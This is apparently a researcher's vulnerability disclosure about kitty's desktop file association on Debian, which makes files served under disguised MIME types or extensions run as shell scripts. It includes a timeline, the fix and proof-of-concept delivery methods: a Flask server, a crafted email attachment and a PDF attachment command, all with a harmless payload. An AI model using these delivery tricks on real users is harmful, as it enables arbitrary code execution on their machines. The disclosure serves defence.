Arbitrary code execution through kitty-open.desktop file association
ニャーニャー
Published:
Updated:
In Debian kitty
package, the kitty-open.desktop
file would associate kitty +open
with several MIME types. This could be used to arbitrary trigger code execution by serving a file with such a MIME type.
This has been introduced in kitty in 73a197fcd (2022-02-06) released as part of v0.24.3. This has been fixed in v0.26.5-5 of the Debian kitty package. Fixed upstream in 537cabca7 released in v0.29.0. Other distributions such as Ubuntu Lunar are still impacted.
Timeline
Note: timeline
I found about this in 2023-05-06 but it turns out this had been reported as Debian Bug 1034875 few days before (2023-04-26). This feature has been introduced in 2022-09-06 (commit 01d866f48) of kitty.
- 2023-04-26, Debian bug report
- 2023-05-06, upstream fix
- 2023-05-10, "Ask for permission before executing script files" in Fedora
- 2023-05-13, Fix in Debian
- 2023-07-10, Release of Kitty v0.29.0 (containing fix)
- 2023-08-17, CVE request
Table of content
Summary
Kitty as packaged by registers itself as a handler (kitty +open
) for several MIME types such as application/x-sh
and application/x-shellscript
. When called with such as file, kitty executes the shell script. This may be exploited by an attacker to execute arbitrary code by serving a malicious shell script.
Observed in:
- Debian testing;
- kitty 0.26.5-4 (Debian package).
Details
Note that the attacker can try to trick the user into believing the malicious script is an innocuous file by:
- using another MIME type associated with
kitty +open
(such astext/ascii
,inode/directory
); - using another file extension (such as
.tool
or.fish
) recognized by kitty as a shell script.
Kitty executes shell code when the file uses the .sh
, .command
, .tool
, .fish
, .bash
or .zsh
extension:
# Open script files
protocol file
ext sh,command,tool
action launch --hold --type=os-window kitty +shebang $FILE_PATH $SHELL
# Open shell specific script files
protocol file
ext fish,bash,zsh
action launch --hold --type=os-window kitty +shebang $FILE_PATH __ext__
Exploitation
Malicious web server
#!/usr/bin/python3
from xml.sax.saxutils import escape
from flask import Flask, make_response
def xmlescape(data):
return escape(data, entities={
"'": "'",
"\"": """
})
app = Flask(__name__)
@app.route("/test.tool")
def route():
data = open("test.sh", "rb").read()
response = make_response(data)
response.content_type = "text/p1ain" # Unrecognized MIME type
return response
resources = [
"/test.tool",
]
@app.route("/")
def home():
html = "<meta charset='utf8'><ul>" + "".join([
f"<li><a href='{xmlescape(resource)}'>{xmlescape(resource)}</a></li>"
for resource in resources
])+ "</ul>"
response = make_response(html)
response.content_type = "text/html"
return response


Malicious email attachment
To: Bob <bob@example.com>
From: Alice <alice@example.com>
Subject: Test
Message-ID: <9d3781d2-b165-4bf8-99ec-7f9c56372f52@example.com>
Date: Thu, 13 May 2021 09:05:40 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Thunderbird/78.10.0
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="------------99C154C06B53866E3351CA8D"
Content-Language: en-US
This is a multi-part message in MIME format.
--------------99C154C06B53866E3351CA8D
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
--------------99C154C06B53866E3351CA8D
Content-Type: text/ascii
Content-Disposition: attachment;
filename="test.tool"
#!/bin/sh
xterm -e nyancat


Malicious PDF attachment
A malicious script could be attached to a PDF. When trying to view such attachment, Okular would call kitty +open
which would execute the scrit.

The following command could be used to create such a file:
weasyprint test.md test.pdf -a test.tool
Mitigation
This could be mitigated by removing the kitty-open.desktop
file.
Resolution
This has been fixed in the Debian package by disabling kitty-open.desktop
(shipping it as an example).
An upstream fix has been introduced in Kitty in order to ask for confirmation before executing a script file which is not not marked as executable.
Appendix, Desktop Entry
Found in Debian package:
[Desktop Entry]
Version=1.0
Type=Application
Name=kitty URL Launcher
GenericName=Terminal emulator
Comment=Open URLs with kitty
TryExec=kitty
Exec=kitty +open %U
Icon=kitty
Categories=System;TerminalEmulator;
NoDisplay=true
MimeType=image/*;application/x-sh;application/x-shellscript;inode/directory;text/*;x-scheme-handler/kitty;
Found in upstream source (setup.py
)
[Desktop Entry]
Version=1.0
Type=Application
Name=kitty URL Launcher
GenericName=Terminal emulator
Comment=Open URLs with kitty
TryExec=kitty
Exec=kitty +open %U
Icon=kitty
Categories=System;TerminalEmulator;
NoDisplay=true
MimeType=image/*;application/x-sh;application/x-shellscript;inode/directory;text/*;x-scheme-handler/kitty;x-scheme-handler/ssh;